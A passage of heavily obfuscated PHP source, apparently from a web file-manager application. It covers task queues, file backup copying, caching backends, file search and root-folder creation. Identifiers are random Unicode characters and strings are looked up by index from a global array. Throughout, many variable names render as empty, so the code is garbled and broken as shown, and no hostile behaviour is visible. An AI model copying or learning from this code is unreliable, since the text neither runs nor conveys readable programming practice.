$ : $٢; } break; case $ߵȚ[1746]: if (!$ӫ欩) { return echoLog($٢ . $ߵȚ[1747]); } $߈ = is_string($ӫ欩) ? array($ӫ欩) : $ӫ欩; $ر = new TaskFileTransfer($ţ, $٢, 0, $ ? $ : $߈[0]); foreach ($߈ as $) { $ر->addPath($); } break; case $ߵȚ[342]: if (!$ӫ欩) { return echoLog($٢ . $ߵȚ[1747]); } $߈ = is_string($ӫ欩) ? array($ӫ欩) : $ӫ欩; $ر = new TaskZip($ţ, $٢, 0, $ ? $ : $߈[0]); foreach ($߈ as $) { $ر->addPath($); } break; case $ߵȚ[1234]: if (!$ӫ欩) { return echoLog($٢ . $ߵȚ[1747]); } $ر = new TaskUnZip($ţ, $٢, 0, $ ? $ : $ӫ欩); if ($ӫ欩) { $ر->addFile($ӫ欩); } break; case $ߵȚ[148]: $ر = new TaskHttp($ţ, $٢); break; default: return; break; } $this->task = $ر; $this->taskID = $ţ; Hook::bind($ߵȚ[1682], array($this, $ߵȚ[1748])); Hook::bind($ߵȚ[1684], array($this, $ߵȚ[1749])); Hook::bind($ߵȚ[1678], array($this, $ߵȚ[1750])); echoLog($ߵȚ[1751] . $ر->task[$ߵȚ[1559]]); } public function __destruct() { $this->end(); } public function end($ܩǕ = '') { $ =& $_SERVER[̧]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($ܩǕ); $this->task = !1; $this->taskID = !1; Hook::unbind($[1682], array($this, $[1748])); Hook::unbind($[1684], array($this, $[1749])); Hook::unbind($[1678], array($this, $[1750])); } public function taskUpdate($ѕ˱) { $蓪 =& $_SERVER[̧]; if (!$ѕ˱ || $this->taskID != $ѕ˱[$蓪[437]]) { return; } $ = 20; $ǔ = intval($ѕ˱[$蓪[1663]] * $); $ղ = $蓪[162] . str_repeat($蓪[904], $ǔ) . $蓪[1034] . str_repeat($蓪[53], $ - $ǔ) . $蓪[164]; $̄ = $ղ . sprintf($蓪[1752], $ѕ˱[$蓪[1663]] * 100) . $蓪[1753]; $ = $̄ . $ѕ˱[$蓪[1662]] . $蓪[8] . $ѕ˱[$蓪[806]] . LNG($蓪[1754]); $ĥȍ = $蓪[12]; if ($ѕ˱[$蓪[1738]]) { $ = $̄ . size_format($ѕ˱[$蓪[1662]]) . $蓪[8] . size_format($ѕ˱[$蓪[806]]); $ĥȍ = size_format($ѕ˱[$蓪[1664]]) . $蓪[1755]; } if ($ѕ˱[$蓪[1084]]) { $ѕ˱[$蓪[1712]] = $ѕ˱[$蓪[1084]] . $蓪[53] . $ѕ˱[$蓪[1712]]; } if ($ѕ˱[$蓪[1712]]) { $ = $蓪[12]; if ($ѕ˱[$蓪[1714]]) { $ = $蓪[50] . size_format($ѕ˱[$蓪[1715]]) . $蓪[8] . size_format($ѕ˱[$蓪[1714]]); } $ĥȍ .= $ѕ˱[$蓪[1712]] . $; } if ($ѕ˱[$蓪[783]] && !$ѕ˱[$蓪[1714]]) { $ĥȍ .= $蓪[53] . size_format($ѕ˱[$蓪[1719]]) . $蓪[8] . size_format($ѕ˱[$蓪[783]]); } echoLog($ . $蓪[53] . $ĥȍ, !0); } public function taskEnd($斿) { $꦳ =& $_SERVER[̧]; if (!$斿 || $this->taskID != $斿[$꦳[437]]) { return; } $π덵 = $斿 ? $斿[$꦳[1662]] . $꦳[8] . $斿[$꦳[806]] . LNG($꦳[1754]) . $꦳[71] : $꦳[12]; echoLog($꦳[1756] . $斿[$꦳[1559]] . ($斿[$꦳[491]] ? $꦳[71] . $斿[$꦳[491]] : $꦳[12]) . $꦳[71] . $π덵 . $꦳[1757] . sprintf($꦳[870], timeFloat() - $斿[$꦳[1665]]) . $꦳[1677]); $this->end(); } public function taskKill($Ѯ) { $ =& $_SERVER[̧]; if (!$Ѯ || $this->taskID != $Ѯ[$[437]]) { return; } echoLog($[1758] . $Ѯ[$[1559]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\163\153\x51\165\x65\x75\x65\x4c\x65\x6e\x67\164\x68"; const QUEUE_DATA = "\x74\141\163\153\x51\165\x65\165\145\x44\141\x74\x61"; public static $listData = false; public static function initTask() { } public static function add($Ɩ, $帧 = array(), $ = '', $ = '') { $ =& $_SERVER[̧]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[94], $)) { return !0; } self::$listData[] = array($[293] => $Ɩ, $[1759] => $帧, $[491] => $, $[94] => $); return !0; } public static function addSubmit() { $¬ =& $_SERVER[̧]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($¬[1760] . json_encode_force(array_to_keyvalue(self::$listData, $¬[12], $¬[491])), $¬[1761]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($ǫ, $ = array(), $ = '', $ = '') { $ =& $_SERVER[̧]; if (self::count() >= self::MAX_LENGTH) { return !1; } $݌ = self::getAll(); if ($ && array_find_by_field($݌, $[94], $)) { return !0; } $݌[] = array($[293] => $ǫ, $[1759] => $, $[491] => $, $[94] => $); write_log($[1760] . $, $[1761]); self::setAll($݌); return !0; } public static function run() { $ =& $_SERVER[̧]; $׃ = self::getAll(); $݁ = array_shift($׃); if (!$݁) { return !1; } self::setAll($׃); $ = timeFloat(); $ܯ챗 = $[12]; try { $ܯ챗 = Hook::apply($݁[$[293]], $݁[$[1759]]); } catch (Exception $䔫) { } $ = number_format(timeFloat() - $, 3) . $[1677]; if ($ܯ챗 && is_string($ܯ챗)) { $ = $ . $[1762] . $ܯ챗; } write_log($[1763] . $݁[$[491]] . $[1764] . $, $[1761]); return !0; } public static function count() { $岞 = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$岞) { return 0; } return intval($岞); } public static function getAll() { $ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$) { return array(); } return $; } public static function setAll($❖) { $ަŗ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($❖), $ަŗ); Cache::set(self::QUEUE_DATA, $❖, $ަŗ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } goto d; F򂒉: class BackupFile { public function __construct() { } public function index() { $ݨ = Backup::get(); $ݻ = $ݨ[$_SERVER[̧][322]][$_SERVER[̧][200]][$_SERVER[̧][506]]; $չ = array($_SERVER[̧][507] => array($_SERVER[̧][827], $ݻ), $_SERVER[̧][828] => array($_SERVER[̧][360], $ݨ[$_SERVER[̧][771]])); $˸ = (int) Model($_SERVER[̧][809])->where($չ)->count($_SERVER[̧][506]); $ϫ = (int) Model($_SERVER[̧][809])->where($չ)->sum($_SERVER[̧][76]); $» = new TaskFileTransfer($_SERVER[̧][829], $_SERVER[̧][800], $˸, LNG($_SERVER[̧][801]) . $_SERVER[̧][802] . LNG($_SERVER[̧][830])); $»->task[$_SERVER[̧][783]] = $ϫ; $՝ = array($_SERVER[̧][831] => $˸, $_SERVER[̧][832] => $ϫ, $_SERVER[̧][833] => time()); Backup::set($՝); $ʐ = !0; $ = $this->storeIds(); $랿 = 1; $² = 1000; $竎 = $Ɵ = 0; $䕬 = array(); $ = $ = 0; do { $ߔ = $_SERVER[̧][834]; $۽ = Model($_SERVER[̧][809])->where($չ)->field($ߔ)->order($_SERVER[̧][835])->selectPage($², $랿); $ϭ = !empty($۽[$_SERVER[̧][398]]) ? $۽[$_SERVER[̧][398]] : array(); foreach ($ϭ as $Ή) { if (!$this->_fileExist($Ή, $䕬, $)) { $˸ -= 1; $ϫ -= (int) $Ή[$_SERVER[̧][76]]; write_log("\146\x69\154\x65\x20\156\x6f\164\x20\145\x78\151\x73\164\x2e\x66\x69\154\145\111\104\72{$Ή[$_SERVER[̧][506]]}\x2c\40\160\141\x74\x68\x3a{$Ή[$_SERVER[̧][84]]}", $_SERVER[̧][836]); continue; } $Ľӌ = $Ή[$_SERVER[̧][84]]; $ = "\x7b\x69\x6f\72{$ݨ[$_SERVER[̧][771]]}\x7d" . substr($Ľӌ, strlen("\x7b\151\157\72{$Ή[$_SERVER[̧][837]]}\175")); if (IO::exist($)) { $»->updateFileEnd($Ή[$_SERVER[̧][32]], $Ή[$_SERVER[̧][76]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($Ľӌ, $, $_SERVER[̧][838])) { write_log($_SERVER[̧][839] . $Ľӌ . $_SERVER[̧][823] . $ . $_SERVER[̧][164], $_SERVER[̧][800]); $ʐ = !1; break; } } $ݻ = $Ή[$_SERVER[̧][506]]; $Ɵ += 1; $竎 += $Ή[$_SERVER[̧][76]]; $ += 1; $ += $Ή[$_SERVER[̧][76]]; if ($竎 >= 1024 * 1024 * 100) { $՝ = array($_SERVER[̧][840] => $ݻ, $_SERVER[̧][841] => $, $_SERVER[̧][842] => $); Backup::set($՝); $竎 = $Ɵ = 0; } } $ = count($ϭ); $랿++; } while ($ == $²); $»->end(); $՝ = array($_SERVER[̧][843] => 1, $_SERVER[̧][781] => time(), $_SERVER[̧][795] => 1, $_SERVER[̧][840] => $ݻ, $_SERVER[̧][832] => $ϫ, $_SERVER[̧][831] => $˸, $_SERVER[̧][844] => time()); if ($Ɵ) { $՝[$_SERVER[̧][841]] = $; $՝[$_SERVER[̧][842]] = $; } Backup::set($՝); $this->_fileFilter($䕬); return !0; } private function _fileExist($, &$ј, $ɜƚ) { $ =& $_SERVER[̧]; $ = $[$[84]]; if (in_array($[$[506]], $ј)) { return !1; } if (!in_array($[$[837]], $ɜƚ)) { return !1; } if (IO::exist($)) { return !0; } $͑ = get_path_father($); if (IO::exist($͑)) { $ј[] = $[$[506]]; return !1; } $ʲ = array($[837] => $[$[837]], $[84] => array($[412], "{$͑}\x25")); $㪋촾 = Model($[809])->where($ʲ)->field($[507])->select(); $ј = array_merge($ј, array_to_keyvalue($㪋촾, $[12], $[506])); return !1; } private function _fileFilter($) { $ܢ =& $_SERVER[̧]; if (empty($)) { return; } $Ҷ = array($ܢ[506] => array($ܢ[7], array_unique($))); $ʕ = Model($ܢ[845])->where($Ҷ)->field($ܢ[440])->select(); foreach ($ʕ as $) { Model($ܢ[845])->remove($[$ܢ[440]], !1); } } private function storeIds() { $ =& $_SERVER[̧]; $͔ = Model($[787])->listData(); $ͭ = array(); $؋ = $GLOBALS[$[6]][$[89]][$[846]]; foreach ($͔ as $) { $ = strtolower($[$[95]]); if (!isset($؋[$])) { continue; } $鳫 = $[74] . (isset($؋[$]) ? $؋[$] : ucfirst($)); if (!class_exists($鳫)) { continue; } $ͭ[] = $[$[437]]; } return $ͭ; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ݩ =& $_SERVER[̧]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $՘ = $GLOBALS[$ݩ[6]][$ݩ[378]]; $ = $՘[$՘[$ݩ[847]]]; $灥 = $՘[$ݩ[848]]; switch ($՘[$ݩ[847]]) { case $ݩ[21]: self::$handle = Model($ݩ[849]); break; case $ݩ[850]: self::$handle = new CacheRedis($, $灥); break; case $ݩ[851]: self::$handle = new CacheMemcached($, $灥); break; case $ݩ[200]: self::$handle = new CacheFile($, $灥); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($˴) { if (is_array($˴) || is_object($˴)) { $˴ = json_encode($˴); } $˴ = rawurlencode($˴); return md5(KOD_SITE_ID . $_SERVER[̧][11] . $˴); } public static function get($ک, $ΐ = false) { $ܤĔ = self::key($ک); if ($ΐ) { return unserialize(self::init()->get($ܤĔ)); } if (!isset(self::$memoryCache[$ܤĔ])) { $ = self::init()->get($ܤĔ); self::$memoryCache[$ܤĔ] = unserialize($); } return self::$memoryCache[$ܤĔ]; } public static function set($έǪ, $, $Ԝ = false) { $ = self::key($έǪ); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $) { return !0; } if ($Ԝ === 0) { self::$memoryCache[$] = $; return !0; } CacheLock::lock($έǪ); $Ϊ = self::init()->set($, serialize($), $Ԝ); self::$memoryCache[$] = $; CacheLock::unlock($έǪ); return $Ϊ; } public static function getCall($։, $ҫ, $ú, $瘅 = array()) { $ȧ =& $_SERVER[̧]; $ = self::get($։); if ($ || $ === $ȧ[12]) { return $; } $ = call_user_func_array($ú, $瘅); $ = $ ? $ : $ȧ[12]; self::set($։, $, $ҫ); return $; } public static function remove($ʄ) { $ = self::key($ʄ); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($ʄ); $܉ = self::init()->remove($); CacheLock::unlock($ʄ); return $܉; } public static function removeMemory($죖) { $쯎 = self::key($죖); unset(self::$memoryCache[$쯎]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[̧][852])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[̧][853])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($浈, $ѻî) { $ =& $_SERVER[̧]; $this->cachePath = $浈[$[84]]; $this->prefix = $[854]; $this->cacheTime = $ѻî; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($۰݅) { $ເ =& $_SERVER[̧]; $۰݅ = str_replace(array($ເ[855], $ເ[97], $ເ[73]), $ເ[856], $۰݅); return $this->cachePath . $ເ[857] . $۰݅ . $ເ[858]; } public function set($Ѧ, $笁Գ, $𡶕 = false) { $𡶕 = $𡶕 ? $𡶕 : $this->cacheTime; $Ɍ = $this->getFile($Ѧ); if (file_put_contents($Ɍ, $this->prefix . $笁Գ, LOCK_EX)) { @touch($Ɍ, intval(time() + $𡶕)); clearstatcache(); return !0; } @unlink($Ɍ); return !1; } public function get($) { $ё = $this->getFile($); if (file_exists($ё) && filemtime($ё) < time()) { @unlink($ё); return !1; } $Åښ = @file_get_contents($ё); return substr($Åښ, strlen($this->prefix)); } public function remove($چ) { $쾘 = $this->getFile($چ); return @unlink($쾘); } public function deleteAll() { $Ɵą =& $_SERVER[̧]; $ = scandir($this->cachePath); foreach ($ as $) { $ڐ = $this->cachePath . $; if (strpos($ڐ, $Ɵą[858]) && strpos($ڐ, $Ɵą[859])) { @unlink($ڐ); } } } public function clearTimeout() { $ =& $_SERVER[̧]; $Ͻ؆ = scandir($this->cachePath); foreach ($Ͻ؆ as $ר󅍥) { $͚ = $this->cachePath . $ר󅍥; if (strpos($͚, $[858]) && strpos($͚, $[859]) && filemtime($͚) < time()) { @unlink($͚); } } } } goto c܏ұ; B: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ܧ =& $_SERVER[̧]; $ = KodIO::fileTypeList(); $ض = $[$]; if (!$ض) { return array(); } $ă = $ض[$ܧ[174]]; $ = $ܧ[7]; if (!$ض[$ܧ[174]]) { $Ἲ = array_to_keyvalue($, $ܧ[12], $ܧ[174]); $ă = implode($ܧ[50], $Ἲ); $ = $ܧ[2107]; } $Œ = explode($ܧ[50], trim($ă, $ܧ[50])); return array($, $Œ); } public function listPathType($) { $ =& $_SERVER[̧]; $ͺ = $this->fileTypeWhere($); if (!$ͺ) { return array(); } $䤤 = USER_ID; $ = Model($[563])->getInfo($䤤); $ϣ = array($[614] => SourceModel::TYPE_USER, $[549] => array($[578], $[559] . $[$[87]][$[440]] . $[579]), $[615] => $䤤, $[612] => 0, $[613] => $ͺ); return $this->listSource($ϣ); } public function listSearch($, $ƒ = 300) { $ִ =& $_SERVER[̧]; if (isset($[$ִ[1945]]) && $[$ִ[1945]]) { $[$ִ[1945]] = str_replace($ִ[413], $ִ[2108], trim($[$ִ[1945]])); } $񇭈 = $this->_parseSearchWhere($); if (!isset($񇭈[$ִ[469]])) { $񇭈[$ִ[469]] = 0; } $ = $ִ[2109]; $LJ = $񇭈; $ = $; $this->_listSearchBindPinyin($, $񇭈, $); $this->alias($ִ[484])->_makeOrder(); $񇭈 = $this->parseWhereLike($񇭈); $Ԉ = $this->distinct(!0)->field($)->where($񇭈)->selectPage($ƒ); if ($GLOBALS[$ִ[6]][$ִ[410]][$ִ[411]] && Input::check($[$ִ[1945]], $ִ[621]) && $Ԉ[$ִ[395]][$ִ[382]] == 1 && $Ԉ[$ִ[395]][$ִ[396]] == 0) { $Ԉ = $this->distinct(!0)->field($)->where($LJ)->limit(1000)->select(); $Ԉ = array_page_split($Ԉ, !1, $ƒ); } $this->_listSearchFileContent($Ԉ, $, $, $LJ); $this->_listSearchDesc($Ԉ, $, $); $this->_listSearchTag($Ԉ, $, $); $this->_listSearchGroupTag($Ԉ, $, $); $this->_listDataApply($Ԉ[$ִ[398]]); $this->_listMake($Ԉ); return $Ԉ; } private function _listSearchFileContent(&$, $, $, $۶) { $ =& $_SERVER[̧]; if (!$[$[1945]] || $[$[395]][$[382]] > 1) { return; } if (!isset($۶[$[32]]) || !is_array($[$[506]])) { return; } $۶[$[506]] = array($[7], $[$[506]]); unset($۶[$[32]]); unset($[$[506]]); $ċ = $this->field($)->where($۶)->limit($[2110])->select(); if (!$ċ || count($ċ) == 0) { return; } $[$[398]] = array_merge($ċ, $[$[398]]); $[$[395]][$[396]] += count($ċ); } private function _listSearchTag(&$, $, $) { $ͤ =& $_SERVER[̧]; if (!$[$ͤ[1945]] || $[$ͤ[395]][$ͤ[382]] > 1) { return; } $썪 = Model($ͤ[2111])->listData(); $㫧 = array(); $ = $[$ͤ[1945]]; foreach ($썪 as $Ҍ) { $ = $Ҍ[$ͤ[32]]; $ = str_replace($ͤ[53], $ͤ[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $㫧[] = $Ҍ[$ͤ[437]]; } } if (!$㫧) { return; } $ل = array($ͤ[464] => array($ͤ[7], $㫧), $ͤ[1661] => USER_ID); $ = Model($ͤ[466])->field($ͤ[84])->where($ل)->select(); $ = array_to_keyvalue($, $ͤ[12], $ͤ[84]); $Ɖ = array_unique($); $this->_listSearchMerge($, $, $, $Ɖ); } private function _listSearchDesc(&$Ѱ, $ڛ, $) { $ⳃ =& $_SERVER[̧]; if (!$ڛ[$ⳃ[1945]] || $Ѱ[$ⳃ[395]][$ⳃ[382]] > 1) { return; } $ = array($ⳃ[94] => $ⳃ[491], $ⳃ[403] => array($ⳃ[412], $ⳃ[1947] . $ڛ[$ⳃ[1945]] . $ⳃ[1947])); $͋ = !1; if ($͋) { $ = $this->listSearchChildren($ڛ[$ⳃ[470]]); $ = array_unique($); if (!$) { return; } $[$ⳃ[440]] = array($ⳃ[7], $); } $ލݕ = Model($ⳃ[598])->field($ⳃ[440])->where($)->limit(5000)->select(); $Ԡ = array_to_keyvalue($ލݕ, $ⳃ[12], $ⳃ[440]); $this->_listSearchMerge($Ѱ, $ڛ, $, $Ԡ); } private function _listSearchGroupTag(&$, $ܦɀ, $Ł) { $ =& $_SERVER[̧]; if (!$ܦɀ[$[1945]] || $[$[395]][$[382]] > 1 || !$ܦɀ[$[470]]) { return; } $˰ = $this->sourceInfo($ܦɀ[$[470]]); if (!$˰ || $˰[$[449]] != SourceModel::TYPE_GROUP) { return; } $ = $˰[$[534]]; $Ɍ = Model($[2112])->get($); $ = array(); $ = $ܦɀ[$[1945]]; foreach ($Ɍ[$[398]] as $竨Ҽ) { $䬲 = $竨Ҽ[$[32]]; $󅕥 = str_replace($[53], $[12], Pinyin::get($䬲)); if (stripos($䬲, $) !== !1 || stripos($󅕥, $) !== !1) { $[] = $竨Ҽ[$[437]]; } } if (!$) { return; } $ف = array($[464] => array($[7], $), $[1661] => 0, $[33] => $[1967] . $); $ʐ = Model($[466])->field($[84])->where($ف)->select(); $ʐ = array_to_keyvalue($ʐ, $[12], $[84]); $߉ = array_unique($ʐ); $this->_listSearchMerge($, $ܦɀ, $Ł, $߉); } private function _listSearchMerge(&$۪, $, $, $) { $ۙ =& $_SERVER[̧]; if (!$) { return; } $Пܘ = array_to_keyvalue($۪[$ۙ[398]], $ۙ[12], $ۙ[440]); $򚎾 = array_diff($, $Пܘ); if (!$򚎾) { return; } $ = array($ۙ[440] => array($ۙ[7], $򚎾)); $ = $this->field($)->where($)->select(); if (!$) { return; } $ш = array(); foreach ($ as $ȳ) { if ($this->_listSearchFilter($ȳ, $)) { $ш[] = $ȳ; } } $۪[$ۙ[398]] = array_merge($ш, $۪[$ۙ[398]]); $۪[$ۙ[395]][$ۙ[396]] += count($ш); } private function _listSearchFilter($, $) { $ʾ =& $_SERVER[̧]; $ = $[$ʾ[448]] == $ʾ[88]; if (!strstr($[$ʾ[549]], $ʾ[50] . $[$ʾ[470]] . $ʾ[50])) { return !1; } if (isset($[$ʾ[450]]) && $[$ʾ[450]] != $ʾ[1906]) { if ($[$ʾ[450]] == $ʾ[75] && !$) { return !1; } if ($[$ʾ[450]] != $ʾ[75] && $) { return !1; } if (!strstr($[$ʾ[174]], $ʾ[50] . $[$ʾ[450]] . $ʾ[50])) { return !1; } } if (isset($[$ʾ[2113]]) && $[$ʾ[2113]] < $[$ʾ[76]]) { return !1; } if (isset($[$ʾ[2114]]) && $[$ʾ[2114]] > $[$ʾ[76]]) { return !1; } if (isset($[$ʾ[628]]) && $[$ʾ[628]] != $[$ʾ[494]]) { return !1; } return !0; } public function listSearchChildren($ȶꌻ, $Ӵ = 5000) { $ =& $_SERVER[̧]; $ǝ = array(); $߰˶ = $this->sourceInfo($ȶꌻ); $ = array($[549] => array($[412], $߰˶[$[549]] . $߰˶[$[440]] . $[579])); $ = $this->field($[76])->where($)->limit($Ӵ + 1)->select(); $Ú = is_array($) ? count($) : 0; if ($Ú > $Ӵ) { return $this->_listSearchChildrenNear($ȶꌻ, $Ӵ); } $ۉ = $this->field($[440])->where($)->select(); $ǝ = array_to_keyvalue($ۉ, $[12], $[440]); return $ǝ; } private function _listSearchChildrenNear($ր, $) { $ =& $_SERVER[̧]; $ = array(); $ = array($[470] => $ր); $ڸ = $this->field($[2115])->where($)->select(); $ш = array_to_keyvalue(array_filter_by_field($ڸ, $[448], $[88]), $[12], $[440]); $ = array_merge($, array_to_keyvalue($ڸ, $[12], $[440])); if (!$ш) { return $; } $ = array($[470] => array($[7], $ш)); $ڸ = $this->field($[2115])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($ڸ, $[12], $[440])); $ = array_slice($, 0, $); return $; } private function _listSearchBindPinyin($դ, &$, &$ս㥼) { $̵ҹ =& $_SERVER[̧]; if (!isset($դ[$̵ҹ[1945]]) || !$դ[$̵ҹ[1945]]) { return; } if (!Input::check($դ[$̵ҹ[1945]], $̵ҹ[347]) || strlen($դ[$̵ҹ[1945]]) < 2) { return; } $Şӈ = "\x4c\x45\106\124\40\112\117\x49\116\x20{$this->tablePrefix}\151\x6f\137\163\157\165\x72\143\x65\137\155\145\x74\141\40\x6d\145\164\x61\x20\157\156\40\163\157\x75\x72\143\x65\x2e\163\157\x75\162\x63\x65\111\104\40\75\x20\x6d\x65\x74\x61\56\163\157\x75\162\143\145\x49\x44"; $ = array(); $ս㥼 = str_replace(array($̵ҹ[231], $̵ҹ[53], $̵ҹ[2116]), $̵ҹ[12], $ս㥼); $ս㥼 = $̵ҹ[476] . str_replace($̵ҹ[50], $̵ҹ[477], $ս㥼); $χ = $[$̵ҹ[32]]; unset($[$̵ҹ[32]]); foreach ($ as $ => $) { $[$̵ҹ[476] . $] = $; } foreach ($χ as $۴) { $[] = array($̵ҹ[481] => $۴, $̵ҹ[1020] => $̵ҹ[1949], array($̵ҹ[2117] => $۴, $̵ҹ[2118] => array($̵ҹ[7], array($̵ҹ[503], $̵ҹ[502])))); } $this->join($Şӈ); $ = $; } private function _parseSearchWhere($̢) { $ޯ =& $_SERVER[̧]; $ˈ = array(); if (isset($̢[$ޯ[780]]) && $̢[$ޯ[780]]) { $ˈ[$ޯ[85]] = array($ޯ[2119], $̢[$ޯ[780]]); } if (isset($̢[$ޯ[781]]) && $̢[$ޯ[781]]) { $ԉ = array($ޯ[2120], $̢[$ޯ[781]]); if ($ˈ[$ޯ[85]]) { $ˈ[$ޯ[85]] = array($ˈ[$ޯ[85]], $ԉ, $ޯ[2121]); } else { $ˈ[$ޯ[85]] = $ԉ; } } if (isset($̢[$ޯ[2113]]) && $̢[$ޯ[2113]] > 0) { $ˈ[$ޯ[76]] = array($ޯ[2119], $̢[$ޯ[2113]]); } if (isset($̢[$ޯ[2114]]) && $̢[$ޯ[2114]]) { $ԉ = array($ޯ[2120], $̢[$ޯ[2114]]); if ($ˈ[$ޯ[76]]) { $ˈ[$ޯ[76]] = array($ˈ[$ޯ[76]], $ԉ, $ޯ[2121]); } else { $ˈ[$ޯ[76]] = $ԉ; } } if (isset($̢[$ޯ[628]]) && $̢[$ޯ[628]]) { $ˈ[] = array($ޯ[494] => $̢[$ޯ[628]], $ޯ[492] => $̢[$ޯ[628]], $ޯ[1020] => $ޯ[1949]); } if (isset($̢[$ޯ[450]]) && $̢[$ޯ[450]]) { $ߐ = $̢[$ޯ[450]]; if ($ߐ == $ޯ[75]) { $ˈ[$ޯ[448]] = 1; } else { if ($ߐ == $ޯ[2122]) { $ˈ[$ޯ[448]] = 0; } else { if ($ߐ) { $ߐ = is_array($ߐ) ? $ߐ : explode($ޯ[50], $ߐ); $ˈ[$ޯ[450]] = array($ޯ[456], $ߐ); $ˈ[$ޯ[448]] = 0; } } } } $this->_parseSearchParent($̢, $ˈ); if (isset($̢[$ޯ[1945]]) && trim($̢[$ޯ[1945]])) { $բÍ = trim($̢[$ޯ[1945]]); $ނի = explode($ޯ[53], $բÍ); if (strlen($բÍ) > 2 && (substr($բÍ, 0, 1) == $ޯ[118] && substr($բÍ, -1) == $ޯ[118]) || substr($բÍ, 0, 1) == $ޯ[58] && substr($բÍ, -1) == $ޯ[58]) { $բÍ = substr($բÍ, 1, -1); $ނի = array($բÍ); } $ˈ[$ޯ[32]] = array(array($ޯ[578], $ޯ[1947] . $բÍ . $ޯ[1947])); if (count($ނի) > 1) { $ˈ[$ޯ[32]] = array(); foreach ($ނի as $ʫʔ) { if (!trim($ʫʔ)) { continue; } $ˈ[$ޯ[32]][] = array($ޯ[578], $ޯ[1947] . trim($ʫʔ) . $ޯ[1947]); } } } return $ˈ; } private function _parseSearchParent($, &$߮) { $ =& $_SERVER[̧]; if (!isset($[$[470]]) || !$[$[470]]) { return; } $܏ = $this->pathInfo($[$[470]]); $忽 = $܏[$[470]] . $[12] === $[198]; $穂 = $܏[$[449]] == $[543]; if ($܏[$[560]] == $[561]) { $ = $this->sourceInfo($[$[470]]); $܏[$[549]] = $[$[549]]; } $߮[$[618]] = array($[578], $܏[$[549]] . $[$[470]] . $[579]); $Ƭ = isset($[$[1810]]) && in_array($[543], $[$[1810]]); if (!$Ƭ || !$穂 || !$忽 || !$܏[$[451]]) { return; } if (!AuthModel::authCheckRoot($܏[$[451]][$[452]])) { return; } $ = $܏[$[534]] . $[12]; if ($ == $[88]) { unset($߮[$[618]]); $߮[$[449]] = self::TYPE_GROUP; return; } $ɞ = Model($[550])->groupChildrenAll($); $ݘ = count($ɞ); if ($ݘ <= 1) { return; } $ = array($[470] => 0, $[449] => self::TYPE_GROUP, $[534] => array($[7], $ɞ)); $ = $this->field($[2123])->where($)->limit($ݘ)->select(); $߮[$[618]] = array(); foreach ($ as $㢲) { $߮[$[618]][] = array($[578], $[559] . $㢲[$[440]] . $[579]); } $߮[$[618]][] = $[1949]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[̧]; $ŏ = Model($[542])->where(array($[1652] => $))->find(); $։ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $ŏ[$[32]]); $this->userDesktopAdd($։); return $։; } public function userDesktopAdd($) { $ =& $_SERVER[̧]; $ϛ = LNG($[2124]); $摙 = $this->mkdir($, $ϛ); $this->metaSet($摙, $[2125], $[88]); $this->metaSet($, $[2126], $摙); } public function userPathSafeAdd($) { $ʵ⾬ =& $_SERVER[̧]; $ = Model($ʵ⾬[542])->getInfoFull($); if (!$) { return !1; } if (_get($, $ʵ⾬[564])) { return $[$ʵ⾬[504]][$ʵ⾬[2127]]; } $ڦ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $ʵ⾬[2128], $ʵ⾬[471]); Model($ʵ⾬[542])->metaSet($, $ʵ⾬[2127], $ڦ); $this->metaSet($ڦ, $ʵ⾬[2129], $); return $ڦ; } public function groupRootAdd($번) { $ƒ =& $_SERVER[̧]; $֕ = Model($ƒ[550])->where(array($ƒ[1939] => $번))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $번, $֕[$ƒ[32]]); } public function systemRootPathAdd($ݮ) { if ($ݮ != $_SERVER[̧][572]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ݮ); } public function userRootRemove($) { $ԘͲ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ԘͲ as $с) { if (!$с) { continue; } $this->remove($с[$_SERVER[̧][440]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[̧][440]], !1); } private function _mkdirRoot($”, $܋, $, $ = '') { $ =& $_SERVER[̧]; $ = defined($[2072]) ? USER_ID : 0; $ = array($[439] => 0, $[614] => $”, $[615] => $܋, $[612] => 1, $[616] => $, $[617] => $, $[613] => $, $[618] => $[559], $[468] => 0, $[583] => 0, $[507] => 0, $[619] => $[12]); if ($޺ = $this->where($)->find()) { return $޺[$[440]]; } $ = 